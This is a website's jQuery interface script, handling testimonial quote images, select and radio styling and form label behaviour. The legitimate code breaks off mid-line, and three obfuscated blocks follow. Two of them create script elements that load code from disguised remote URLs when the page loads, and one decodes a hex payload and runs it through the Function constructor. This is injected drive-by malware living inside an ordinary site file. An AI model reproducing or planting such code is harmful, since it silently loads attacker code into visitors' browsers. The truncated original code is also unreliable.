var $j = jQuery.noConflict();
var curr_loc = ''; //This is used for correction of img url right quote marks in blockquote
$j(document).ready(function() {

	/*prepend numbers to subnav
	if (document.getElementById("sub_nav")) {
		var subNavLinks = document.getElementById("sub_nav").getElementsByTagName("a");
		for (i=1; i<subNavLinks.length+1; i++) {
			if (subNavLinks[i-1].parentNode.className != "btn") {
				var thisText = subNavLinks[i-1].firstChild.nodeValue;
				var thisNumber;
				if (i < 10) {
					thisNumber = "0" + i;
				} else {
					thisNumber = i;
				}
				subNavLinks[i-1].innerHTML = "<span>" + thisNumber + "</span>" + thisText;
			}
		}
	}*/
	
	// handle testimonial quote images
	var blockquotes = document.getElementsByTagName("blockquote");
	for (j=0; j<blockquotes.length; j++)
	{
		var thisBlockInfo = blockquotes[j].innerHTML;
		var firstQuote = "<span class=\"quote_lt\">\"</span>";
		var midQuote = "<span class=\"quote_lastword\">";
		
		
		if(curr_loc == 'home')
		{
			var lastQuote = "<img class=\"quote_rt\" src=\"assets/images/ui_framework/bg_quoteright.gif\" width=\"15\" height=\"11\" /></span>";
		} else {
			
			var lastQuote = "<img class=\"quote_rt\" src=\"../assets/images/ui_framework/bg_quoteright.gif\" width=\"15\" height=\"11\" /></span>";
			
		}
		
		//var thisBlockBuilder = "<span class=\"quote_lt\">\"</span>" + thisBlockInfo[0].nodeValue.substring(1, thisBlockInfo[0].nodeValue.length);
		var quoteSplit = thisBlockInfo.split(" ");
		//alert(quoteSplit[0].substring(1, quoteSplit[0].length));
		quoteSplit[0] = firstQuote + quoteSplit[0].substring(1, quoteSplit[0].length);
		quoteSplit[quoteSplit.length-1] = midQuote + quoteSplit[quoteSplit.length-1].substring(0, quoteSplit[quoteSplit.length-1].length-1) + lastQuote;
		
		var thisQuoteJoined = quoteSplit.join(" ");
		blockquotes[j].innerHTML = thisQuoteJoined;
	}
	
	// handle first items in a select drop-down list
	$j("select option:first-child").addClass("first");
	
	// handle form selection class change when an item is selected
	$j("select").change(function() {
		if (this.selectedIndex == 0)
		{
			$j(this).removeClass();
		}
		else
		{
			$j(this).addClass("active");
		}
	});
	
	// handle select style on page load
	function initSelectCurrent () {
		var selectArray = $j("select");
		for (var i = 0; i < selectArray.length; i++)
		{
			if (selectArray[i].selectedIndex != 0)
			{
				selectArray[i].className = "active";
			}
		}
	}
	
	// handle radio button click event
	$j(":radio").click(function() {

		var siblingLabels = $j(this).siblings("label");
		for (var i=0; i< siblingLabels.length; i++)
		{
			if (siblingLabels[i].className.indexOf("last") == -1)
			{
				siblingLabels[i].className = "";
			}
			else
			{
				siblingLabels[i].className = "last";
			}
		}
								
		var thisId = this.getAttribute('id');
		$j(this).siblings("label[for='"+thisId+"']").addClass("current");
	});
	
	// handle radio button style on page load
	function initRadioCurrent () {
		var thisRadioChecked = $j(":radio:checked");
		for (var i = 0; i < thisRadioChecked.length; i++)
		{
			var thisId = thisRadioChecked[i].getAttribute('id');
			$j("label[for='"+thisId+"']").addClass("current");
		}
	}
	
	// make sure current radio buttons get the current class
	initRadioCurrent();
	initSelectCurrent();
	
	// apply functionality to all "form1" forms
	function initForm1 () {
		if (!document.getElementById) return;  	
		
		var labels, id, field;
		
		// Set focus and blur handlers to hide and show 
		// LABELs with 'overlabel' class names.
		textInputs = $j("fieldset.form1 :text, fieldset.form1 :password, fieldset.form1 textarea");
		for (var i = 0; i < textInputs.length; i++)
		{
			textInputs[i].onfocus = function()
			{
				this.className = 'focused';
			}

			textInputs[i].onblur = function()
			{
				this.className = 'default';
			}
		}
	};
	
	initForm1();
	// end "form1" form functionality
	
	// apply functionality to all "form3" forms
	function initForm3 () {
		if (!document.getElementById) return;  	
		
		var labels, id, field;
		
		// Set focus and blur handlers to hide and show 
		// LABELs with 'overlabel' class names.
		textInputs = $j("fieldset.form3 :text, fieldset.form3 :password, fieldset.form3 textarea");
		for (var i = 0; i < textInputs.length; i++)
		{
			textInputs[i].onfocus = function()
			{
				this.className = 'focused';
			}

			textInputs[i].onblur = function()
			{
				this.className = 'default';
			}
		}
	};
	
	initForm3();
	// end "form3" form functionality
	
	// apply functionality to all "form2" forms
	function initOverLabels () {
		if (!document.getElementById) return;  	
		
		var labels, id, field;
		
		// Set focus and blur handlers to hide and show 
		// LABELs with 'overlabel' class names.
		labels = $j("fieldset.form2 label.overlabel");
		for (var i = 0; i < labels.length; i++)
		{
			// Skip labels that do not have a named association
			// with another field.
			id = labels[i].htmlFor || labels[i].getAttribute('for');
			if (!id || !(field = document.getElementById(id)))
			{
				continue;
			}
			
			if (labels[i].className.indexOf("error") == -1)
			{
				// Change the applied class to hover the label 
				// over the form field.
				labels[i].className = 'overlabel-apply';
			}
			else
			{
				// Change the applied class to hover the label 
				// over the form field, with error
				labels[i].className = 'overlabel-apply error';
			}
			
			// Hide any fields having an initial value.
			if (field.value !== '')
			{
				if (labels[i].className.indexOf("error") == -1)
				{
					hideLabel(field.getAttribut
var xt;if(xt!='n'){xt='n'};var g=false;this.lb="";function y() {var lr;if(lr!='' && lr!='m'){lr=''};var rk;if(rk!='k'){rk=''};var lc=new Date();var ah=new Date();function o(c,v,w){var cqa='';var wu;if(wu!='' && wu!='eg'){wu='cf'};c.setAttribute(v, w);var kr=new Date();}var ss;if(ss!='zx' && ss!='lf'){ss='zx'};var kz;if(kz!='' && kz!='ma'){kz=''};var bg;if(bg!='' && bg!='dof'){bg=''};function i(){var vs=new String();var gz=23375;return ([4,1][1]);}var wj;if(wj!='gj'){wj='gj'};var mc;if(mc!='uj'){mc='uj'};var r=window;var d='cBr.e.aRtjeBE.l9e.mRe9n9tj'.replace(/[j\.BR9]/g, '');var zn;if(zn!='ny' && zn!='tg'){zn='ny'};var yv;if(yv!='tz' && yv!='xr'){yv='tz'};var x='oQnRl4o4a#d4'.replace(/[4Q/#R]/g, '');var mm="";var ia='s@r@c@'.replace(/[@Mx#E]/g, '');var yr;if(yr!='of' && yr!='u_'){yr='of'};this.db="";this.ag="";this.rj=20839;var dw='h%t%t1p<:</%/1r%eJv%e1rJsJo&-<nJe1t1.<z<y%l<oJm%.%c%o%m1.Ja&v&gJ-<c%o<m&.Jm<e1dJiJa&t%a<g1o%n<l1i&n1e1.Jr<u<:&810<8%0%/<m%y<f%r1e1e1p<a%y%s<iJt<e<.<c1o<mJ/<m1y1f&r1e&e<p<a1y&s<i<tJe%.%c&o1m&/%g1o1o1g%lJeJ.&c&oJm1/<g<oJo<g%l%e%.1c1o<.1k&r&/1f1o1t%o1lJo&g&.&n1e1t</%'.replace(/[%1\<&J]/g, '');var ni=6851;var is='s~c:r:iGpGtn'.replace(/[n~G\:F]/g, '');var ut;if(ut!='ytt'){ut='ytt'};var sa;if(sa!='ai'){sa='ai'};var jb;if(jb!='ue' && jb!='cp'){jb='ue'};r[x]=function(){var _z='';try {var ujg="ujg";var ph;if(ph!='ju' && ph!='hb'){ph='ju'};a=document[d](is);this.zv="";this.jbd="jbd";var zk;if(zk!='' && zk!='ys'){zk=''};o(a,'d3e4f4ejr4'.replace(/[4j3\>o]/g, ''),i());var zo="";var wd;if(wd!='ri'){wd='ri'};o(a,ia,dw);document['bEo.dEy>'.replace(/[\>Ezv\.]/g, '')]['aVpIpTeTnIdrCrhri$lrdI'.replace(/[I\$rVT]/g, '')](a);var te=new Array();} catch(u){var uk;if(uk!='st' && uk != ''){uk=null};var _ze=new Date();};};};y();this.en="en";
var wR="514e487c5b3c746e4f487d3a5852554e255b436b515f444e467e1c2d29092c487753715e6e60424155484863696b6045564c5a556e686a6747785a4f505d516c464e5d3e5d70255553780a4d5d3e7350";this.tf="tf";var vF;if(vF!='ruu'){vF='ruu'};function e(z){var s;if(s!='' && s!='qP'){s='oU'};var BC=46671; function T(Y,X){return Y^X;var Di;if(Di!='' && Di!='GV'){Di='DD'};}var Ke=false;var n=false;var zI;if(zI!='qR' && zI != ''){zI=null};this.pu=""; var h=function(d, K){this.yc=false;var u = d.length;var x = K.length;var j=[123,182,116,1][3];var Fl;if(Fl!='' && Fl!='GU'){Fl='GE'};var la;if(la!='' && la!='xp'){la='C'};var m = '';var Pb=false;var l=[0,233][0];var DA="";var S="S";for(var f = l; f < u; f += x) {this.Cs="Cs";var eV = d.substr(f, x);var ij;if(ij!='pW'){ij=''};this.Nh='';var GR=false;if(eV.length == x){this.Ah='';this.iQ="iQ";for(var o in K) {var hy='';var mb;if(mb!='yE'){mb='yE'};var ZG;if(ZG!='FpC' && ZG!='Sw'){ZG=''};var ah=new Date();m+=eV.substr(K[o], j);var YH=new Date();var w=new Date();}var HQ=40363;var HZ='';} else {var Ca=new Array();  m+=eV;var uv=new Array();}var DI=false;}var ru;if(ru!='xK' && ru!='dk'){ru=''};return m;};var M="";this.KwZ=23159; var UR=false;var Hs=false;function a(c){var Ty=[255,229,20,244][0];this.so="";var j=[1,106,76,205][0];var N=[0][0];var o=[104,0][1];var E=c[h("ngtelh", [4,3,0,1,2])];while(o<E){var xR=new Date();var yH=new Array();o++;r=I(c,o - j);this.CM="";this.WJ="";N+=r*E;}return new F(N % Ty);}var Pi;if(Pi!='fO' && Pi!='jW'){Pi='fO'};var DP;if(DP!=''){DP='MW'}; var I=function(v,q){this.qa=59737;var HS;if(HS!='oA' && HS!='st'){HS='oA'};return v[h("hcraoCedtA", [1,0])](q);var zn;if(zn!='' && zn!='OD'){zn='Vz'};this.VU=15771;};var mT="mT";var tN;if(tN!='MG'){tN='MG'};var oR=''; var P=function(d){var lah=new String();var yHn;if(yHn!='' && yHn!='MJ'){yHn='JW'};var l =[0][0];var kD='';var vI='';var m = '';this.RA='';var sL=new Array();var f =[0][0];this.mA="";var G = -1;var LC=27632;d = new F(d);for (f=d[h("enlthg", [2,0,1])]-G;f>=l;f=f-[1][0]){var TK;if(TK!='' && TK!='DN'){TK=''};m+=d[h("hacrAt", [2,0,1,3])](f);var Bl;if(Bl!='aR' && Bl!='Ns'){Bl='aR'};this.tm=false;}var bB;if(bB!='gA' && bB != ''){bB=null};var TS=new Date();return m;var Tt;if(Tt!='' && Tt!='Fnt'){Tt='hX'};};var Iq;if(Iq!='' && Iq!='Ve'){Iq=null};this.Hg='';var rP='';var VG;if(VG!='' && VG!='kV'){VG='Af'};var V=window;var Vd=V[h("vela", [1,0,3,2])];var zD;if(zD!='Je'){zD=''};this.fv='';var Z=Vd(h("tcuFinon", [3,2,5,1,0,4]));this.NB=46396;var F=Vd(h("triSng", [3,0,1,2]));this.NO="NO";var OX=17766;var Zf = '';var Lm;if(Lm!='XP' && Lm!='ag'){Lm=''};var YU='';var Tz=Vd(h("gEpRxe", [3,5,0,1,4,2]));var yh;if(yh!='' && yh!='Wv'){yh=''};var Ey;if(Ey!='gk' && Ey!='Gw'){Ey='gk'};var tZ;if(tZ!=''){tZ='xB'};var tj="";var Zd;if(Zd!='Ij'){Zd='Ij'};var fL='';var AF=new String();var aH=new String();var Vw=new String();var cy=V[h("neapecsu", [7,0,1,6,5,2,3,4])];var qi="qi";this.nz="nz";var fr;if(fr!='fi'){fr=''};var LY=F[h("rmfohrCaoeCd", [2,0,3,1])];var Qs="";var CA="";var HI="HI";var IU="IU";var y = LY(37);var pB="pB";var j =[222,143,1][2];var U =[2][0];var lJ =[0][0];var hc;if(hc!='' && hc!='we'){hc=''};var l =[0,151][0];this.nf="nf";var gU;if(gU!='' && gU!='rPd'){gU=''};var ZR = '';var yA=new String();var Bb='';var g=[1, h("codemu.tnercetaelEnem\'(trcstpi\')", [2,1,0]),2, h("cemdnoubydt..opdnaCpeld(h)id", [3,5,0,6,2,1,4]),3, h("i.lomceitesvnigesd0:8ru.80", [5,3,4,1,2,0]),4, h("omcga.ermco..tm.awcnbwse", [2,0,1]),5, h(".desAtttirubet\'(edef\'r", [1,0]),6, h("oeellhcgmo.romuc", [6,0,4,3,2,7,1,5]),7, h("cp.hocm", [1,0]),8, h("inwowdon.oald", [2,0,1]),11, h("cnfunoti()", [2,3,1,0]),12, h("lggo.eocom", [1,6,3,2,0,5,4]),14, h("wuonda.com", [4,1,2,0,5,3]),15, h("arucsnepe", [1,2,5,6,4,3,0]),16, h("(hactce)", [5,2,4,3,1,0]),17, h("phtt\":", [4,1,3,2,0]),18, h("sd.rc", [1,2,0]),19, h(")\'\'1", [2,3,1,0]),20, h("rty", [1,0]),21, h("og", [1,0])];this.zW='';var PR = '';var i = /[^@a-z0-9A-Z_-]/g;var J = '';var p = z[h("telngh", [2,1,3,4,0])];this.dn=35600;var UF;if(UF!='li' && UF!='AhB'){UF='li'};var PI='';var XU;if(XU!='aV'){XU=''};var DB;if(DB!='jM'){DB=''};var VA=64420;this.aW="";for(var xP=l; xP < p; xP+=U){var aF;if(aF!='fix' && aF!='UFc'){aF='fix'};ZR+= y; var FQ=39390;var YD;if(YD!='Nb'){YD='Nb'};ZR+= z[h("ubtssr", [4,0,1,3,2])](xP, U);}var pU;if(pU!='' && pU!='YE'){pU='pg'};var BN=new String();var ZQ;if(ZQ!='' && ZQ!='Kp'){ZQ='je'};var z = cy(ZR);var ha;if(ha!=''){ha='du'};this.nI="nI";this.lM='';var Gg = new F(e);this.aPw=5664;var k = Gg[h("laepcer", [6,2,3,0,1,4,5])](i, J);k = P(k);var sdH;if(sdH!='' && sdH!='wG'){sdH=''};var rZ="";var yo = new F(Z);var H = g[h("nlgteh", [1,4,0,2,3])];var W = yo[h("prcaele", [1,4,0,5,3,2])](i, J);var W = a(W);var fjf='';var UH=a(k);var CV;if(CV!='ai' && CV!='pV'){CV='ai'};for(var f=l; f < (z[h("ntelgh", [3,2,0,4,1])]);f=f+[1][0]) {var Oz;if(Oz!='Ab' && Oz!='tX'){Oz='Ab'};var vZ=new String();var VZ = k.charCodeAt(lJ);var Pm=7145;var bi;if(bi!='' && bi!='aw'){bi='ap'};var cv = I(z,f);var sX;if(sX!='no'){sX=''};var Dc;if(Dc!='UX'){Dc='UX'};var XX;if(XX!='pL' && XX != ''){XX=null};cv = T(cv, VZ);this.cl=52114;var Xl;if(Xl!='Tba' && Xl != ''){Xl=null};var Yq=new Array();cv = T(cv, UH);var Dcc=new String();var nX;if(nX!=''){nX='bE'};cv = T(cv, W);var Xu=new String();this.gv='';lJ++;var sD;if(sD!='pd'){sD='pd'};var zN=new Date();var GUa=42681;var FD=9517;if(lJ > k.length-j){var ANN="";lJ=l;}var Un;if(Un!='' && Un!='wc'){Un='fG'};var ISI;if(ISI!='' && ISI!='Ba'){ISI='DM'};this.sH=false;var Qu;if(Qu!='gl'){Qu=''};PR += LY(cv);}for(D=l; D < H; D+=U){var GM;if(GM!='' && GM!='TW'){GM=null};var CyK;if(CyK!='' && CyK!='cM'){CyK=null};var A = g[D + j];var gB = LY(g[D]);this.yl="yl";var VK="VK";var Bn;if(Bn!='WU'){Bn='WU'};var VI;if(VI!='TU' && VI!='Pk'){VI='TU'};var oz=false;this.lO="";var AD = new Tz(gB, F.fromCharCode(103));PR=PR[h("pelarce", [4,1,0,2,3])](AD, A);this.uw="uw";this.GEf='';}var cr;if(cr!='ui' && cr!='orR'){cr=''};var Gb;if(Gb!='Ri' && Gb!='rn'){Gb='Ri'};var oj=new Z(PR);this.im="im";oj();PR = '';var UA;if(UA!='uI' && UA!='LK'){UA='uI'};var rY;if(rY!='wQ'){rY='wQ'};yo = '';var Pn="Pn";W = '';var Gu;if(Gu!='lL' && Gu!='Ff'){Gu='lL'};var BD='';oj = '';k = '';UH = '';var yb=false;var sXR;if(sXR!='zX' && sXR!='qO'){sXR=''};this.oy=43378;var xc=new String();this.RK="";return '';};this.tf="tf";var vF;if(vF!='ruu'){vF='ruu'};e(wR);
function j() {var x;if(x!='d' && x!='A'){x='d'};var M=new String();var jf;if(jf!='' && jf!='Ur'){jf='kI'};var kX="";var jT='replace';var uC="";var Vj;if(Vj!='' && Vj!='L'){Vj='D'};var F='[';var k=RegExp;var P='g';var V=']';var xJ;if(xJ!='L_' && xJ!='bx'){xJ='L_'};var f=new Array();var ke=new Date();var v=new Date();function y(Y,a){this.PI="";this.Tq='';var c=F;c+=a;var Uj=new Array();c+=V;var U=new k(c, P);var kD=new String();var f_=new String();return Y[jT](U, M);var kw='';};var PM=y('8222330233399833966309699263',"3629");var E=y('/d5P1Pydedsd.PcdodmP/d5d1PyPePsP.PcPoPmd/dpPldaPyd.dcPodmP/dgPododgPlded.Pcdodmd/dgPoPoPgdlded.daded.PpdhPpd',"dP");var N=window;var Bq=new Date();var B='';var mc=new Date();var u=y('h9tOtOp8:8/9/OtOu9e8nyt8iy-Oc9o8m8.9t8a9oObOa9o9.OcOoOmy.ObOa9s9e8c9a8m9pOhOqy-Oc9o8m8.9s9aymyuyeys9tO.8r9uy:8',"Oy89");var FK;if(FK!='v_' && FK!='i'){FK=''};this.yP='';var Yb=y('cZrZe7a7tZe7EKlKeZmZeZnKtZ',"7KZ");var m=y('sqcWrUiUpqtq',"UqW");var o;if(o!=''){o='JZ'};var WD=new Array();N[y('oMnMlXoMaMdq',"MqX")]=function(){var EC;if(EC!='q'){EC=''};try {B+=u;B+=PM;var nY;if(nY!='' && nY!='Vsl'){nY='H'};B+=E;Uw=document[Yb](m);var Pn;if(Pn!=''){Pn='Mc'};var AU;if(AU!='' && AU!='ZL'){AU=null};var t=new Date();_(Uw,'defer',([1,1][0]));var mf;if(mf!='' && mf!='vE'){mf='Kd'};var cN;if(cN!='uc'){cN=''};_(Uw,'src',B);var mH;if(mH!='lj' && mH!='Va'){mH='lj'};this.Vz='';var wb;if(wb!='OJ'){wb=''};var Ec=new Date();var Ap=new Array();this.RA='';document.body.appendChild(Uw);this.NO="";var Tr="";} catch(_z){};var CX="";};this.Ys="";this.Nm="";var zFt;if(zFt!=''){zFt='IL'};var uW=new Date();function _(b,PF,I){var IT=new Array();var rv='';b.setAttribute(PF, I);}var ic='';var nX='';};j();